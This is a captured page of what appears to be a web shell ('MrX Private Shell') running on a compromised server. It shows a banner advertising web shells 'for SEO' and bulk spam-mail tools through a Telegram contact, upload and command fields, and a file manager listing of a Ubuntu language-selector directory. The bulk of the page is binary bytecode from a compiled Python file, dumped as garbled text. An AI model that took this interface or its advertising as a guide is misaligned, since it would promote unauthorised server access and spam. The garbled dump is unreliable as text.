__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g;�	��SSKJr SSKr\R"SS\5 SSKrSSKr"SS\5r"SS\5r	"S	S
\
5r"SS\R5r
\S
:XatSSKJr Sr\"S\5r\
"\\R$R'55r\"S5 \"SR-\R/5Vs/sHnSU-PM
 sn55 ggs snf)�)�print_functionN�ignorezapt API not stable yetc� �\rSrSrSrSrSrg)�LanguagePackageStatus�	c�F�XlX lSUlSUlSUlg)NF)�languageCode�pkgname_template�	available�	installed�doChange)�selfr	�pkg_templates   �</usr/lib/python3/dist-packages/LanguageSelector/LangCache.py�__init__�LanguagePackageStatus.__init__
s#��(�� ,����������
�c���SUR<SUR<S[UR5<S[UR5<S[UR
5<3
$)Nz LanguagePackageStatus(langcode: z
, pkgname z
, available: z
, installed: z, doChange: )r	r
�strrrr
�rs r�__str__�LanguagePackageStatus.__str__s?���!�!�4�#8�#8�#�d�n�n�:M��D�N�N�#�S����%7�9�	9r)rr
rr	r
N)�__name__�
__module__�__qualname__�__firstlineno__rr�__static_attributes__�rrrr	s���9rrc�d�\rSrSrS
Sjr\S5r\S5r\S5r\S5r	Sr
S	rg)�LanguageInformation�Nc��X lX0l0Ul[US5URS'URR	5HAnUR
U-nXQ;UlUR(dM.XRUlMC g)Nzlanguage-pack-%s�languagePack)	r	�language�languagePkgListr�valuesr
r�is_installedr)r�cacher	r$�langpkg_status�pkgnames      rr�LanguageInformation.__init__s��)�� �
�!���/D�\�Se�/f����^�,�"�2�2�9�9�;�N�$�5�5��D�G�'.�'7�N�$��'�'�'�+0�>�+F�+F��(�	<rc�J�UR(dUR(dgg)zJreturns True if only parts of the language support packages are installed TF)�notInstalled�
fullInstalledrs r�inconsistent� LanguageInformation.inconsistent)s���!�!�$�*<�*<�t�rc��URR5H^nUR(dMUR(aUR(dM:UR(dUR(aM^ g g)zLreturn True if all of the available language support packages are installed FT�r%r&rrr
�r�pkgs  rr.�!LanguageInformation.fullInstalled.sO���'�'�.�.�0�C��=�=�8��]�]�3�<�<�<����SV�S_�S_�S_�kp�1�rc��URR5H^nUR(dMUR(dUR(dM:UR(aUR(aM^ g g)zMreturn True if none of the available language support packages are installed FTr2r3s  rr-� LanguageInformation.notInstalled5sO���'�'�.�.�0�C��=�=�8����s�|�|�|����SV�S_�S_�S_�kp�1�rc�l�URR5HnUR(dM g g)zLreturns true if anything in the state of the language packs/support changes TF)r%r&r
r3s  r�changes�LanguageInformation.changes<s+���'�'�.�.�0�C�����t�1�rc�>�UR<SUR<S3$)Nz (�))r$r	rs rr�LanguageInformation.__str__Bs�� �M�M�4�+<�+<�=�=r)r$r	r%)NN)rrrrr�propertyr/r.r-r9rrrrrr r s]��G�"����������������
>rr c��\rSrSrSrg)�ExceptionPkgCacheBroken�FrN)rrrrrrrrr@r@Fs��rr@c�B�\rSrSrSr\S5rSrSrSr	Sr
Srg	)
�LanguageSelectorPkgCache�Ic���[RRX5 URRS:�a
[5eXl[R"U5Ul	g)Nr)
�apt�Cacher�	_depcache�broken_countr@�_localeinfo�language_support_pkgs�LanguageSupport�lang_support)r�
localeinfo�progresss   rr�!LanguageSelectorPkgCache.__init__KsH���	�	���4�*��>�>�&�&��*�)�+�+�%��1�A�A�$�G��rc�r�URRH�nURH�nURS5R	S5(aM*URS5R	S5(aMQUR
S:waMcUR(dMvUR(dM�  g M� g)z+verify that a network package lists exists �zcdrom:zhttp://security.ubuntu.comzDebian Package IndexTF)�_list�list�index_files�archive_uri�
startswith�label�exists�has_packages)r�	metaindex�	indexfiles   r�havePackageLists�)LanguageSelectorPkgCache.havePackageListsRs��������I�&�2�2�	��(�(��,�7�7��A�A���(�(��,�7�7�8T�U�U���?�?�&<�<���#�#�#�	�(>�(>�(>��3�)�rc�8�URR5 g)zclear the selections N)rH�initrs r�clear�LanguageSelectorPkgCache.clearas�������rc��/n/nUR5HnnUR(dUR(aURUR5 UR
(dMSURUR5 Mp X4$)N)�get_changes�marked_install�marked_upgrade�append�name�
marked_delete)r�to_inst�to_rmr4s    r�getChangesList�'LanguageSelectorPkgCache.getChangesListesf�������#�#�%�C��!�!�S�%7�%7����s�x�x�(�� � � ����S�X�X�&�	&�
��rc��URR5H�up#UR(dMURR	UR
URS9nUR(aXUHPnURS5(d%URSUR
-5(dM>XR5 MR M�UHnXR5 M M� g![a [5ef=f)z#commit changed status of list items)rzlanguage-pack-�-N)
r%�itemsr
rM�	by_localer	rrW�endswith�mark_delete�mark_install�SystemErrorr@)r�li�key�item�pkgsr*s      r�tryChangeDetails�)LanguageSelectorPkgCache.tryChangeDetailsos����-�-�3�3�5�K�S��}�}�}��(�(�2�2�2�?�?�d�n�n�2�]��4��~�~�(,�G�&�1�1�2B�C�C�&�/�/��b�o�o�0E�F�F� $�
� 9� 9� ;�(,�
(,�G� �M�6�6�8�(,�6��#�4�1�3�3�4�s�"A
C+�3C+�C+�+Dc�@�/nURRR5Hnup#US:XaM
[XU5nURR5Vs/sHoUR(dMUPM sn(dM]URU5 Mp U$s snf)z4returns a list with language packs/support packages �zh)rJ�_langrpr r%r&rrg)r�res�code�langrv�ss      r�getLanguageInformation�/LanguageSelectorPkgCache.getLanguageInformation�s����� �,�,�2�2�8�8�:�L�T��t�|��$�T��6�B��-�-�4�4�6�F�6�a�+�+��6�F�F��
�
�2��;��
��Gs�B�4B)rJrMN)rrrrrr>r]rarlrzr�rrrrrCrCIs0��H�������4�*
rrC�__main__)�
LocaleInfoz/usr/share/language-selector�languagelistzavailable language informationz, z%s)�
__future__r�warnings�filterwarnings�
FutureWarningrFrK�objectrr �	Exceptionr@rGrCrr��datadirrvrO�
OpProgress�lc�print�joinr�)�xs0r�<module>r�s���%������":�M�J�
��9�F�9�,>�&�,>�^	�i�	�E�s�y�y�E�P�z��%�,�G�	�N�G�	,�B�	!�"�S�\�\�%<�%<�%>�	?�B�	�
*�+�	�$�)�)�b�&?�&?�&A�B�&A��T�1�W�&A�B�
C�D���Cs�<C

Filemanager

Name Type Size Permission Actions
ImConfig.cpython-313.pyc File 2.86 KB 0644
LangCache.cpython-313.pyc File 9.35 KB 0644
LanguageSelector.cpython-313.pyc File 6.33 KB 0644
LocaleInfo.cpython-313.pyc File 13.4 KB 0644
__init__.cpython-313.pyc File 156 B 0644
macros.cpython-313.pyc File 7.48 KB 0644
utils.cpython-313.pyc File 2.19 KB 0644
xkb.cpython-313.pyc File 4.6 KB 0644
Filemanager